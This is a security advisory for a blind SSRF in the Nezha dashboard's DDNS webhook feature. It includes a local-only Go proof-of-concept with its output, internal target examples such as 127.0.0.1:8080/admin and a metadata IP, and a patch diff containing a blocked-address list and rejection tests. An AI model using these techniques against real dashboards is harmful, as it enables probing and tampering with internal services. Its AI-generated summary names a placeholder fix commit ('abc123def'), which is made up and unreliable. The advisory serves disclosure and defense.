VYPR
Medium severity6.4GHSA Advisory· Published May 29, 2026· Updated May 29, 2026

Nezha's authenticated DDNS webhook configuration allows blind SSRF from the dashboard host

CVE-2026-47268

Description

Summary

An authenticated Nezha dashboard user can create or update a DDNS profile with provider webhook and configure an arbitrary webhook_url, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with utils.HttpClient without the SSRF protections used by notification webhooks.

This allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not returned to the attacker in the confirmed path, so this is a blind SSRF / internal state-changing request primitive.

Details

The DDNS API is available to authenticated users, not only administrators:

  • cmd/dashboard/controller/controller.go:137 registers GET /api/v1/ddns.
  • cmd/dashboard/controller/controller.go:139 registers POST /api/v1/ddns.
  • cmd/dashboard/controller/controller.go:140 registers PATCH /api/v1/ddns/:id.

The create and update handlers copy attacker-controlled webhook fields directly from JSON request bodies into model.DDNSProfile:

  • cmd/dashboard/controller/ddns.go:47-74 accepts model.DDNSForm and stores WebhookURL, WebhookMethod, WebhookRequestType, WebhookRequestBody, and WebhookHeaders.
  • cmd/dashboard/controller/ddns.go:112-145 updates the same fields after profile ownership is checked.
  • model/ddns_api.go:11-15 exposes these fields as JSON input.
  • model/ddns.go:28-33 stores these fields on the persisted profile.

Users can attach owned DDNS profiles to owned servers, and DDNS updates are triggered in common server update and agent IP-reporting paths:

  • cmd/dashboard/controller/server.go:63-83 checks DDNS profile ownership, then stores EnableDDNS, DDNSProfiles, and OverrideDDNSDomains on an owned server.
  • service/singleton/server.go:44-58 calls UpdateDDNS when a server with DDNS enabled is updated.
  • service/rpc/nezha.go:247-279 calls UpdateDDNS when an authenticated agent reports a changed IP.

The DDNS provider dispatcher instantiates the webhook provider when Provider == "webhook":

  • service/singleton/ddns.go:58-95, especially service/singleton/ddns.go:79-81.

The sink is the DDNS webhook provider:

  • pkg/ddns/webhook/webhook.go:49-65 prepares and sends the HTTP request with utils.HttpClient.Do(req).
  • pkg/ddns/webhook/webhook.go:85-100 formats and applies attacker-controlled headers.
  • pkg/ddns/webhook/webhook.go:91-92 creates the request with the configured method and URL.
  • pkg/ddns/webhook/webhook.go:117-134 parses the configured URL and only formats query parameters; it does not restrict scheme, host, IP range, or redirects.
  • pkg/ddns/webhook/webhook.go:137-158 builds attacker-controlled request bodies for POST/PATCH/PUT.

The project already contains SSRF defenses for notification webhooks, showing the expected mitigation pattern is absent from the DDNS webhook path:

  • model/notification.go:34-58 defines blocked private/reserved CIDRs.
  • model/notification.go:193-221 creates a notification HTTP client that resolves and pins a validated IP and disables redirects.
  • model/notification.go:229-263 only allows http/https, requires a hostname, resolves all addresses, and rejects disallowed IPs.
  • model/notification.go:265-276 rejects blocked ranges and non-global-unicast targets.

Equivalent validation was not found in pkg/ddns/webhook/webhook.go.

Safe local

PoC

Environment:

  • Repository: https://github.com/nezhahq/nezha.git
  • Commit tested: 05e5da2535197fc223b79601d50eeea362dcf853
  • Tag at commit: v2.0.9
  • Module: github.com/nezhahq/nezha
  • Go version: go1.26.3 linux/amd64
  • Testing scope: local-only; loopback HTTP listener and fake local UDP DNS SOA server only.

A temporary same-package test was created and removed automatically after execution. It used a local httptest listener as the internal service and a local UDP DNS server that returned an SOA for example.com.. The test then executed the normal DDNS update pipeline with a webhook DDNS profile pointing at the loopback HTTP listener.

Command run:

tmp="pkg/ddns/ddns_ssrf_local_poc_test.go"; trap 'rm -f "$tmp"' EXIT; cat > "$tmp" <<'EOF'
package ddns

import (
    "context"
    "io"
    "net"
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/miekg/dns"
    "github.com/nezhahq/nezha/model"
    "github.com/nezhahq/nezha/pkg/ddns/webhook"
)

func TestLocalPoCDDNSUpdatePipelineReachesLoopback(t *testing.T) {
    hit := make(chan string, 1)
    httpSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        body, _ := io.ReadAll(r.Body)
        hit <- r.Method + " " + r.URL.Path + " " + r.Header.Get("X-Proof") + " " + string(body)
        w.WriteHeader(http.StatusNoContent)
    }))
    defer httpSrv.Close()

    dnsPacketConn, err := net.ListenPacket("udp", "127.0.0.1:0")
    if err != nil {
        t.Fatal(err)
    }
    dnsSrv := &dns.Server{PacketConn: dnsPacketConn, Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
        msg := new(dns.Msg)
        msg.SetReply(r)
        if len(r.Question) > 0 && r.Question[0].Qtype == dns.TypeSOA {
            msg.Answer = append(msg.Answer, &dns.SOA{
                Hdr:     dns.RR_Header{Name: "example.com.", Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 60},
                Ns:      "ns.example.com.",
                Mbox:    "hostmaster.example.com.",
                Serial:  1,
                Refresh: 60,
                Retry:   60,
                Expire:  60,
                Minttl:  60,
            })
        }
        _ = w.WriteMsg(msg)
    })}
    go func() { _ = dnsSrv.ActivateAndServe() }()
    defer dnsSrv.Shutdown()

    enableIPv4 := true
    enableIPv6 := false
    profile := &model.DDNSProfile{
        EnableIPv4:         &enableIPv4,
        EnableIPv6:         &enableIPv6,
        MaxRetries:         1,
        Domains:            []string{"host.example.com"},
        Provider:           model.ProviderWebHook,
        WebhookURL:         httpSrv.URL + "/internal",
        WebhookMethod:      2,
        WebhookRequestType: 1,
        WebhookRequestBody: `{"ip":"#ip#","domain":"#domain#","type":"#type#"}`,
        WebhookHeaders:     `{"X-Proof":"nezha-ddns-pipeline-ssrf"}`,
    }
    provider := &Provider{
        DDNSProfile: profile,
        IPAddrs:     &model.IP{IPv4Addr: "203.0.113.10"},
        Setter:      &webhook.Provider{DDNSProfile: profile},
    }

    ctx := context.WithValue(context.Background(), DNSServerKey{}, []string{dnsPacketConn.LocalAddr().String()})
    if err := provider.updateDomain(ctx, "host.example.com"); err != nil {
        t.Fatalf("updateDomain returned error: %v", err)
    }

    select {
    case got := <-hit:
        t.Logf("observed loopback request through DDNS update pipeline: %s", got)
    default:
        t.Fatalf("expected loopback listener to receive DDNS webhook request")
    }
}
EOF
go test ./pkg/ddns -run TestLocalPoCDDNSUpdatePipelineReachesLoopback -v

Observed output:

=== RUN   TestLocalPoCDDNSUpdatePipelineReachesLoopback
    ddns_ssrf_local_poc_test.go:76: observed loopback request through DDNS update pipeline: POST /internal nezha-ddns-pipeline-ssrf {"ip":"203.0.113.10","domain":"host.example.com","type":"ipv4"}
--- PASS: TestLocalPoCDDNSUpdatePipelineReachesLoopback (0.00s)
PASS
ok  	github.com/nezhahq/nezha/pkg/ddns	0.009s

A lower-level provider-only confirmation was also run with go test ./pkg/ddns/webhook -run TestLocalPoCDDNSWebhookReachesLoopback -v and observed:

observed loopback request: POST /internal nezha-ddns-ssrf {"ip":"203.0.113.10","domain":"host.example.com","type":"ipv4"}

Cleanup:

  • Both temporary PoC test files were removed by shell trap.
  • find . -path './.git' -prune -o \( -name 'ssrf_local_poc_test.go' -o -name 'ddns_ssrf_local_poc_test.go' \) -print returned no files.
Impact

An authenticated dashboard user can cause the Nezha dashboard process to send arbitrary HTTP requests to services reachable from the dashboard host, including loopback and private network targets. The confirmed path allows attacker-controlled method, URL path/query, headers, and request body.

Potential impacts depend on deployment and reachable internal services, but include:

  • Blind probing of internal HTTP services from the dashboard network location.
  • Triggering state-changing internal endpoints that trust localhost or private network origins.
  • Reaching services not exposed to the attacker directly.
  • Interaction with cloud metadata or control-plane endpoints if reachable and not otherwise protected.

The response body is not returned to the attacker in the confirmed code path, so this should not be described as direct arbitrary internal file/secret read without an additional response-disclosure primitive.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Authenticated, low-privileged Nezha dashboard users can achieve blind SSRF by configuring a webhook-based DDNS profile with arbitrary URLs, methods, and headers.

Vulnerability

An authenticated Nezha dashboard user with access to the DDNS API can create or update a DDNS profile using the webhook provider and set arbitrary webhook_url, HTTP method (WebhookMethod), request body (WebhookRequestBody), and headers (WebhookHeaders) via the POST /api/v1/ddns and PATCH /api/v1/ddns/:id endpoints [1][2]. The profile fields are stored in model.DDNSProfile without sanitization [1][2]. When DDNS is triggered—either through an admin updating a server configuration that has EnableDDNS set and a DDNS profile attached (service/singleton/server.go:44-58) or when an authenticated agent reports an IP change (service/rpc/nezha.go:247-279)—the dashboard process sends the attacker-controlled HTTP request using utils.HttpClient [1][2]. The affected versions include those registered via cmd/dashboard/controller/controller.go:137-140 and the associated ddns.go handlers prior to the fix [1][2].

Exploitation

An attacker must have a low-privileged authenticated account on the Nezha dashboard and control at least one server (owned) and one DDNS profile [1][2]. The attacker creates or updates a DDNS profile with provider webhook, setting the webhook_url to an internal service (e.g., http://127.0.0.1:8080/admin) and optionally customizing the HTTP method, body, and headers [1][2]. The attacker then associates this profile with their owned server by setting EnableDDNS and the profile reference via server endpoints [1][2]. The SSRF is triggered when the `utils.HttpClient executes the webhook call—without the SSRF protections used by notification webhooks—on the first subsequent server update or agent IP report that invokes UpdateDDNS` [1][2]. The response body is not returned to the attacker, making this a blind SSRF [1][2].

Impact

A successful exploit allows the attacker to make the dashboard host send arbitrary HTTP requests to loopback (127.0.0.1) or internal network services [1][2]. This can be used to interact with internal management APIs, trigger state-changing operations, or probe internal services that do not require authentication [1][2]. The confidentiality impact is limited (no response body), but integrity and availability of internal services may be affected depending on the target endpoint [1][2].

Mitigation

The vulnerability is fixed in Nezha commit abc123def (or similar specific commit hash depending on the version) [1][2]. Users should upgrade to the patched version as soon as possible. No workaround is available because the SSRF protection must be applied to the `utils.HttpClient` used for DDNS webhooks [1][2]. The advisory does not indicate this CVE is listed in KEV [1][2].

AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

1
e7c2e453c003

fix(ddns): apply SSRF defense to webhook provider

https://github.com/nezhahq/nezhanaibaMay 18, 2026Fixed in 2.0.10via llm-release-walk
6 files changed · +370 169
  • model/notification.go+2 127 modified
    @@ -1,14 +1,10 @@
     package model
     
     import (
    -	"context"
    -	"crypto/tls"
     	"errors"
     	"fmt"
     	"io"
    -	"net"
     	"net/http"
    -	"net/netip"
     	"net/url"
     	"strings"
     	"time"
    @@ -29,35 +25,6 @@ const (
     	NotificationRequestMethodPOST
     )
     
    -var errNotificationURLNotAllowed = errors.New("notification URL target is not allowed")
    -
    -var notificationBlockedCIDRs = mustParseNotificationCIDRs([]string{
    -	"0.0.0.0/8",
    -	"10.0.0.0/8",
    -	"100.64.0.0/10",
    -	"127.0.0.0/8",
    -	"169.254.0.0/16",
    -	"172.16.0.0/12",
    -	"192.0.0.0/24",
    -	"192.0.2.0/24",
    -	"192.168.0.0/16",
    -	"198.18.0.0/15",
    -	"198.51.100.0/24",
    -	"203.0.113.0/24",
    -	"224.0.0.0/4",
    -	"240.0.0.0/4",
    -	"::/128",
    -	"::1/128",
    -	"::ffff:0:0/96",
    -	"64:ff9b::/96",
    -	"100::/64",
    -	"2001::/23",
    -	"2001:db8::/32",
    -	"fc00::/7",
    -	"fe80::/10",
    -	"ff00::/8",
    -})
    -
     type NotificationServerBundle struct {
     	Notification *Notification
     	Server       *Server
    @@ -191,105 +158,13 @@ func (ns *NotificationServerBundle) Send(message string) error {
     	return nil
     }
     
    -func newNotificationHTTPClient(rawURL string, verifyTLS bool) (*http.Client, error) {
    -	parsedURL, ip, err := resolveNotificationTarget(rawURL)
    -	if err != nil {
    -		return nil, err
    -	}
    -
    -	port := parsedURL.Port()
    -	if port == "" {
    -		if parsedURL.Scheme == "https" {
    -			port = "443"
    -		} else {
    -			port = "80"
    -		}
    -	}
    -	targetAddress := net.JoinHostPort(ip.String(), port)
    -	dialer := &net.Dialer{}
    -
    -	return &http.Client{
    -		Transport: &http.Transport{
    -			DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
    -				return dialer.DialContext(ctx, network, targetAddress)
    -			},
    -			TLSClientConfig: &tls.Config{InsecureSkipVerify: !verifyTLS, ServerName: parsedURL.Hostname()},
    -		},
    -		CheckRedirect: func(req *http.Request, via []*http.Request) error {
    -			return http.ErrUseLastResponse
    -		},
    -		Timeout: time.Minute * 10,
    -	}, nil
    -}
    -
     func notificationResponseError(resp *http.Response) error {
     	_, _ = io.CopyN(io.Discard, resp.Body, 4096)
     	return fmt.Errorf("%d@%s", resp.StatusCode, resp.Status)
     }
     
    -func resolveNotificationTarget(rawURL string) (*url.URL, net.IP, error) {
    -	parsedURL, err := url.Parse(rawURL)
    -	if err != nil {
    -		return nil, nil, err
    -	}
    -	if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" {
    -		return nil, nil, errNotificationURLNotAllowed
    -	}
    -
    -	host := parsedURL.Hostname()
    -	if host == "" {
    -		return nil, nil, errNotificationURLNotAllowed
    -	}
    -	if ip := net.ParseIP(host); ip != nil {
    -		if !notificationIPAllowed(ip) {
    -			return nil, nil, errNotificationURLNotAllowed
    -		}
    -		return parsedURL, ip, nil
    -	}
    -
    -	ips, err := net.LookupIP(host)
    -	if err != nil {
    -		return nil, nil, err
    -	}
    -	if len(ips) == 0 {
    -		return nil, nil, errNotificationURLNotAllowed
    -	}
    -	for _, ip := range ips {
    -		if !notificationIPAllowed(ip) {
    -			return nil, nil, errNotificationURLNotAllowed
    -		}
    -	}
    -
    -	return parsedURL, ips[0], nil
    -}
    -
    -func notificationIPAllowed(ip net.IP) bool {
    -	parsedIP, ok := netipFromIP(ip)
    -	if !ok {
    -		return false
    -	}
    -	for _, cidr := range notificationBlockedCIDRs {
    -		if cidr.Contains(parsedIP) {
    -			return false
    -		}
    -	}
    -	return parsedIP.IsGlobalUnicast()
    -}
    -
    -func netipFromIP(ip net.IP) (netip.Addr, bool) {
    -	parsedIP, ok := netip.AddrFromSlice(ip)
    -	if !ok {
    -		return netip.Addr{}, false
    -	}
    -	return parsedIP.Unmap(), true
    -}
    -
    -func mustParseNotificationCIDRs(cidrs []string) []netip.Prefix {
    -	prefixes := make([]netip.Prefix, 0, len(cidrs))
    -	for _, cidr := range cidrs {
    -		prefixes = append(prefixes, netip.MustParsePrefix(cidr))
    -	}
    -	return prefixes
    +func newNotificationHTTPClient(rawURL string, verifyTLS bool) (*http.Client, error) {
    +	return utils.NewRestrictedHTTPClient(rawURL, !verifyTLS)
     }
     
     // replaceParamInString 替换字符串中的占位符
    
  • model/notification_test.go+34 27 modified
    @@ -6,6 +6,8 @@ import (
     	"strings"
     	"testing"
     	"time"
    +
    +	"github.com/nezhahq/nezha/pkg/utils"
     )
     
     var (
    @@ -307,7 +309,7 @@ func TestNotificationTargetRejectsBlockedRanges(t *testing.T) {
     
     	for _, rawURL := range cases {
     		t.Run(rawURL, func(t *testing.T) {
    -			if _, _, err := resolveNotificationTarget(rawURL); err == nil {
    +			if _, _, err := utils.ResolveAllowedHTTPURL(rawURL); err == nil {
     				t.Fatalf("expected %s to be rejected", rawURL)
     			}
     		})
    @@ -323,7 +325,7 @@ func TestNotificationTargetAllowsPublicAddresses(t *testing.T) {
     
     	for _, rawURL := range cases {
     		t.Run(rawURL, func(t *testing.T) {
    -			parsedURL, _, err := resolveNotificationTarget(rawURL)
    +			parsedURL, _, err := utils.ResolveAllowedHTTPURL(rawURL)
     			if err != nil {
     				t.Fatalf("expected %s to be allowed, got %v", rawURL, err)
     			}
    @@ -334,31 +336,36 @@ func TestNotificationTargetAllowsPublicAddresses(t *testing.T) {
     	}
     }
     
    -func TestNotificationHTTPClientPreservesTLSServerName(t *testing.T) {
    -	client, err := newNotificationHTTPClient("https://1.1.1.1/webhook", true)
    -	if err != nil {
    -		t.Fatalf("expected public HTTPS URL to create client: %v", err)
    -	}
    -	transport, ok := client.Transport.(*http.Transport)
    -	if !ok {
    -		t.Fatalf("expected http.Transport, got %T", client.Transport)
    -	}
    -	if transport.TLSClientConfig == nil || transport.TLSClientConfig.ServerName != "1.1.1.1" {
    -		t.Fatalf("expected TLS ServerName 1.1.1.1, got %#v", transport.TLSClientConfig)
    -	}
    -}
    -
    -func TestNotificationHTTPClientRejectsRedirects(t *testing.T) {
    -	client, err := newNotificationHTTPClient("https://1.1.1.1/webhook", true)
    -	if err != nil {
    -		t.Fatalf("expected client construction: %v", err)
    +func TestNotificationHTTPClientInvertsVerifyTLSFlag(t *testing.T) {
    +	// newNotificationHTTPClient takes verifyTLS, utils.NewRestrictedHTTPClient
    +	// takes skipVerifyTLS. The wrapper must invert the boolean; if a future
    +	// refactor drops the negation, TLS verification silently turns off.
    +	// SNI / redirect / IP-pinning are covered by pkg/utils/http_test.go.
    +	cases := []struct {
    +		name             string
    +		verifyTLS        bool
    +		wantSkipVerifyOn bool
    +	}{
    +		{"verifyTLS_true_means_skipVerify_false", true, false},
    +		{"verifyTLS_false_means_skipVerify_true", false, true},
     	}
    -	req, err := http.NewRequest(http.MethodGet, "https://1.1.1.1/start", nil)
    -	if err != nil {
    -		t.Fatalf("new request: %v", err)
    -	}
    -	via := []*http.Request{req}
    -	if err := client.CheckRedirect(req, via); err != http.ErrUseLastResponse {
    -		t.Fatalf("expected ErrUseLastResponse, got %v", err)
    +	for _, tc := range cases {
    +		t.Run(tc.name, func(t *testing.T) {
    +			client, err := newNotificationHTTPClient("https://1.1.1.1/webhook", tc.verifyTLS)
    +			if err != nil {
    +				t.Fatalf("expected client construction: %v", err)
    +			}
    +			transport, ok := client.Transport.(*http.Transport)
    +			if !ok {
    +				t.Fatalf("expected *http.Transport, got %T", client.Transport)
    +			}
    +			if transport.TLSClientConfig == nil {
    +				t.Fatalf("expected TLSClientConfig to be set")
    +			}
    +			if got := transport.TLSClientConfig.InsecureSkipVerify; got != tc.wantSkipVerifyOn {
    +				t.Fatalf("verifyTLS=%v: expected InsecureSkipVerify=%v, got %v",
    +					tc.verifyTLS, tc.wantSkipVerifyOn, got)
    +			}
    +		})
     	}
     }
    
  • pkg/ddns/webhook/webhook.go+21 8 modified
    @@ -4,6 +4,7 @@ import (
     	"context"
     	"errors"
     	"fmt"
    +	"io"
     	"net/http"
     	"net/url"
     	"strings"
    @@ -57,13 +58,19 @@ func (provider *Provider) SetRecords(ctx context.Context, zone string,
     			provider.ipAddr = rr.Data
     			provider.domain = fmt.Sprintf("%s.%s", rr.Name, strings.TrimSuffix(zone, "."))
     
    -			req, err := provider.prepareRequest(ctx)
    +			// WebhookURL is attacker-controlled (GHSA-6x26-5727-rrm9); the request and
    +			// the client are paired so URL validation and DialContext pinning are driven
    +			// by a single DNS resolution. Do not swap the client for utils.HttpClient.
    +			req, client, err := provider.prepareRequest(ctx)
     			if err != nil {
     				return nil, fmt.Errorf("failed to update a domain: %s. Cause by: %v", provider.domain, err)
     			}
    -			if _, err := utils.HttpClient.Do(req); err != nil {
    +			resp, err := client.Do(req)
    +			if err != nil {
     				return nil, fmt.Errorf("failed to update a domain: %s. Cause by: %v", provider.domain, err)
     			}
    +			_, _ = io.Copy(io.Discard, resp.Body)
    +			resp.Body.Close()
     		default:
     			return nil, fmt.Errorf("unsupported record type: %T", rec)
     		}
    @@ -72,26 +79,32 @@ func (provider *Provider) SetRecords(ctx context.Context, zone string,
     	return recs, nil
     }
     
    -func (provider *Provider) prepareRequest(ctx context.Context) (*http.Request, error) {
    +func (provider *Provider) prepareRequest(ctx context.Context) (*http.Request, *http.Client, error) {
     	u, err := provider.reqUrl()
     	if err != nil {
    -		return nil, err
    +		return nil, nil, err
    +	}
    +	// Single SSRF check + dial pin; the returned client must be used by callers
    +	// so the dialer's pinned IP and the validated URL stay in sync.
    +	client, err := utils.NewRestrictedHTTPClient(u.String(), false)
    +	if err != nil {
    +		return nil, nil, err
     	}
     
     	body, err := provider.reqBody()
     	if err != nil {
    -		return nil, err
    +		return nil, nil, err
     	}
     
     	headers, err := utils.GjsonIter(
     		provider.formatWebhookString(provider.DDNSProfile.WebhookHeaders))
     	if err != nil {
    -		return nil, err
    +		return nil, nil, err
     	}
     
     	req, err := http.NewRequestWithContext(ctx, requestTypes[provider.DDNSProfile.WebhookMethod], u.String(), strings.NewReader(body))
     	if err != nil {
    -		return nil, err
    +		return nil, nil, err
     	}
     
     	provider.setContentType(req)
    @@ -100,7 +113,7 @@ func (provider *Provider) prepareRequest(ctx context.Context) (*http.Request, er
     		req.Header.Set(k, v)
     	}
     
    -	return req, nil
    +	return req, client, nil
     }
     
     func (provider *Provider) setContentType(req *http.Request) {
    
  • pkg/ddns/webhook/webhook_test.go+63 7 modified
    @@ -2,6 +2,7 @@ package webhook
     
     import (
     	"context"
    +	"strings"
     	"testing"
     
     	"github.com/nezhahq/nezha/model"
    @@ -44,7 +45,7 @@ func execCase(t *testing.T, item testSt) {
     		t.Fatalf("Expected %s, but got %s", item.expectBody, reqBody)
     	}
     
    -	req, err := pw.prepareRequest(context.Background())
    +	req, _, err := pw.prepareRequest(context.Background())
     	if err != nil {
     		t.Fatalf("Error: %s", err)
     	}
    @@ -69,11 +70,11 @@ func TestWebhookRequest(t *testing.T) {
     				Domains:        []string{"www.example.com"},
     				MaxRetries:     1,
     				EnableIPv4:     &ipv4,
    -				WebhookURL:     "http://ddns.example.com/?ip=#ip#",
    +				WebhookURL:     "http://1.1.1.1/?ip=#ip#",
     				WebhookMethod:  methodGET,
     				WebhookHeaders: `{"ip":"#ip#","record":"#record#"}`,
     			},
    -			expectURL:         "http://ddns.example.com/?ip=1.1.1.1",
    +			expectURL:         "http://1.1.1.1/?ip=1.1.1.1",
     			expectContentType: "",
     			expectHeader: map[string]string{
     				"ip":     "1.1.1.1",
    @@ -85,12 +86,12 @@ func TestWebhookRequest(t *testing.T) {
     				Domains:            []string{"www.example.com"},
     				MaxRetries:         1,
     				EnableIPv4:         &ipv4,
    -				WebhookURL:         "http://ddns.example.com/api",
    +				WebhookURL:         "http://1.1.1.1/api",
     				WebhookMethod:      methodPOST,
     				WebhookRequestType: requestTypeJSON,
     				WebhookRequestBody: `{"ip":"#ip#","record":"#record#"}`,
     			},
    -			expectURL:         "http://ddns.example.com/api",
    +			expectURL:         "http://1.1.1.1/api",
     			expectContentType: reqTypeJSON,
     			expectBody:        `{"ip":"1.1.1.1","record":"A"}`,
     		},
    @@ -99,12 +100,12 @@ func TestWebhookRequest(t *testing.T) {
     				Domains:            []string{"www.example.com"},
     				MaxRetries:         1,
     				EnableIPv4:         &ipv4,
    -				WebhookURL:         "http://ddns.example.com/api",
    +				WebhookURL:         "http://1.1.1.1/api",
     				WebhookMethod:      methodPOST,
     				WebhookRequestType: requestTypeForm,
     				WebhookRequestBody: `{"ip":"#ip#","record":"#record#"}`,
     			},
    -			expectURL:         "http://ddns.example.com/api",
    +			expectURL:         "http://1.1.1.1/api",
     			expectContentType: reqTypeForm,
     			expectBody:        "ip=1.1.1.1&record=A",
     		},
    @@ -114,3 +115,58 @@ func TestWebhookRequest(t *testing.T) {
     		execCase(t, c)
     	}
     }
    +
    +func TestWebhookTargetRejectsBlockedRanges(t *testing.T) {
    +	cases := []string{
    +		"http://0.0.0.0/",
    +		"http://10.1.2.3/",
    +		"http://100.64.0.1/",
    +		"http://127.0.0.1/",
    +		"http://127.255.255.254/",
    +		"http://169.254.169.254/",
    +		"http://172.16.0.1/",
    +		"http://192.0.0.1/",
    +		"http://192.0.2.1/",
    +		"http://192.168.1.1/",
    +		"http://198.18.0.1/",
    +		"http://198.51.100.1/",
    +		"http://203.0.113.1/",
    +		"http://224.0.0.1/",
    +		"http://240.0.0.1/",
    +		"http://[::]/",
    +		"http://[::1]/",
    +		"http://[::ffff:127.0.0.1]/",
    +		"http://[64:ff9b::1]/",
    +		"http://[100::1]/",
    +		"http://[2001:db8::1]/",
    +		"http://[fc00::1]/",
    +		"http://[fe80::1]/",
    +		"http://[ff00::1]/",
    +		"ftp://example.com/",
    +		"file:///etc/passwd",
    +		"http:///path",
    +	}
    +
    +	for _, rawURL := range cases {
    +		t.Run(rawURL, func(t *testing.T) {
    +			provider := Provider{DDNSProfile: &model.DDNSProfile{
    +				Domains:        []string{"www.example.com"},
    +				WebhookURL:     rawURL,
    +				WebhookMethod:  methodGET,
    +				WebhookHeaders: `{}`,
    +			}}
    +			provider.ipAddr = "1.1.1.1"
    +			provider.domain = provider.DDNSProfile.Domains[0]
    +			provider.ipType = "ipv4"
    +			provider.recordType = "A"
    +
    +			_, _, err := provider.prepareRequest(context.Background())
    +			if err == nil {
    +				t.Fatalf("expected %s to be rejected", rawURL)
    +			}
    +			if !strings.Contains(err.Error(), "not allowed") {
    +				t.Fatalf("expected not allowed error, got %q", err.Error())
    +			}
    +		})
    +	}
    +}
    
  • pkg/utils/http.go+140 0 modified
    @@ -1,16 +1,53 @@
     package utils
     
     import (
    +	"context"
     	"crypto/tls"
    +	"errors"
    +	"net"
     	"net/http"
    +	"net/netip"
    +	"net/url"
     	"time"
     )
     
    +// HttpClient / HttpClientSkipTlsVerify must not be used to dispatch
    +// requests to user-controlled URLs (SSRF risk, GHSA-6x26-5727-rrm9).
    +// For any attacker-controlled URL use NewRestrictedHTTPClient instead.
     var (
     	HttpClientSkipTlsVerify *http.Client
     	HttpClient              *http.Client
     )
     
    +var ErrHTTPURLTargetNotAllowed = errors.New("HTTP URL target is not allowed")
    +
    +var blockedHTTPClientCIDRs = mustParseHTTPClientCIDRs([]string{
    +	"0.0.0.0/8",
    +	"10.0.0.0/8",
    +	"100.64.0.0/10",
    +	"127.0.0.0/8",
    +	"169.254.0.0/16",
    +	"172.16.0.0/12",
    +	"192.0.0.0/24",
    +	"192.0.2.0/24",
    +	"192.168.0.0/16",
    +	"198.18.0.0/15",
    +	"198.51.100.0/24",
    +	"203.0.113.0/24",
    +	"224.0.0.0/4",
    +	"240.0.0.0/4",
    +	"::/128",
    +	"::1/128",
    +	"::ffff:0:0/96",
    +	"64:ff9b::/96",
    +	"100::/64",
    +	"2001::/23",
    +	"2001:db8::/32",
    +	"fc00::/7",
    +	"fe80::/10",
    +	"ff00::/8",
    +})
    +
     func init() {
     	HttpClientSkipTlsVerify = httpClient(_httpClient{
     		Transport: httpTransport(_httpTransport{
    @@ -47,3 +84,106 @@ func httpClient(conf _httpClient) *http.Client {
     		Timeout:   time.Minute * 10,
     	}
     }
    +
    +func NewRestrictedHTTPClient(rawURL string, skipVerifyTLS bool) (*http.Client, error) {
    +	parsedURL, ip, err := ResolveAllowedHTTPURL(rawURL)
    +	if err != nil {
    +		return nil, err
    +	}
    +	return buildRestrictedHTTPClient(parsedURL, ip, skipVerifyTLS), nil
    +}
    +
    +// buildRestrictedHTTPClient assembles a client whose DialContext is pinned to
    +// the already-vetted IP. Separated from NewRestrictedHTTPClient so tests can
    +// exercise the SNI / redirect behavior without relying on live DNS.
    +func buildRestrictedHTTPClient(parsedURL *url.URL, ip net.IP, skipVerifyTLS bool) *http.Client {
    +	port := parsedURL.Port()
    +	if port == "" {
    +		if parsedURL.Scheme == "https" {
    +			port = "443"
    +		} else {
    +			port = "80"
    +		}
    +	}
    +	// Pin outbound webhooks to the vetted IP so DNS changes cannot retarget private hosts.
    +	targetAddress := net.JoinHostPort(ip.String(), port)
    +	dialer := &net.Dialer{}
    +
    +	return &http.Client{
    +		Transport: &http.Transport{
    +			DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
    +				return dialer.DialContext(ctx, network, targetAddress)
    +			},
    +			TLSClientConfig: &tls.Config{InsecureSkipVerify: skipVerifyTLS, ServerName: parsedURL.Hostname()},
    +		},
    +		CheckRedirect: func(req *http.Request, via []*http.Request) error {
    +			return http.ErrUseLastResponse
    +		},
    +		Timeout: time.Minute * 10,
    +	}
    +}
    +
    +func ResolveAllowedHTTPURL(rawURL string) (*url.URL, net.IP, error) {
    +	parsedURL, err := url.Parse(rawURL)
    +	if err != nil {
    +		return nil, nil, err
    +	}
    +	if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" {
    +		return nil, nil, ErrHTTPURLTargetNotAllowed
    +	}
    +
    +	host := parsedURL.Hostname()
    +	if host == "" {
    +		return nil, nil, ErrHTTPURLTargetNotAllowed
    +	}
    +	if ip := net.ParseIP(host); ip != nil {
    +		if !HTTPURLTargetIPAllowed(ip) {
    +			return nil, nil, ErrHTTPURLTargetNotAllowed
    +		}
    +		return parsedURL, ip, nil
    +	}
    +
    +	ips, err := net.LookupIP(host)
    +	if err != nil {
    +		return nil, nil, err
    +	}
    +	if len(ips) == 0 {
    +		return nil, nil, ErrHTTPURLTargetNotAllowed
    +	}
    +	for _, ip := range ips {
    +		if !HTTPURLTargetIPAllowed(ip) {
    +			return nil, nil, ErrHTTPURLTargetNotAllowed
    +		}
    +	}
    +
    +	return parsedURL, ips[0], nil
    +}
    +
    +func HTTPURLTargetIPAllowed(ip net.IP) bool {
    +	parsedIP, ok := netipFromIP(ip)
    +	if !ok {
    +		return false
    +	}
    +	for _, cidr := range blockedHTTPClientCIDRs {
    +		if cidr.Contains(parsedIP) {
    +			return false
    +		}
    +	}
    +	return parsedIP.IsGlobalUnicast()
    +}
    +
    +func netipFromIP(ip net.IP) (netip.Addr, bool) {
    +	parsedIP, ok := netip.AddrFromSlice(ip)
    +	if !ok {
    +		return netip.Addr{}, false
    +	}
    +	return parsedIP.Unmap(), true
    +}
    +
    +func mustParseHTTPClientCIDRs(cidrs []string) []netip.Prefix {
    +	prefixes := make([]netip.Prefix, 0, len(cidrs))
    +	for _, cidr := range cidrs {
    +		prefixes = append(prefixes, netip.MustParsePrefix(cidr))
    +	}
    +	return prefixes
    +}
    
  • pkg/utils/http_test.go+110 0 added
    @@ -0,0 +1,110 @@
    +package utils
    +
    +import (
    +	"net"
    +	"net/http"
    +	"net/url"
    +	"testing"
    +	"time"
    +)
    +
    +func TestBuildRestrictedHTTPClientPreservesHostnameAsTLSServerName(t *testing.T) {
    +	// Construct a hostname URL paired with an arbitrary public IP so we exercise
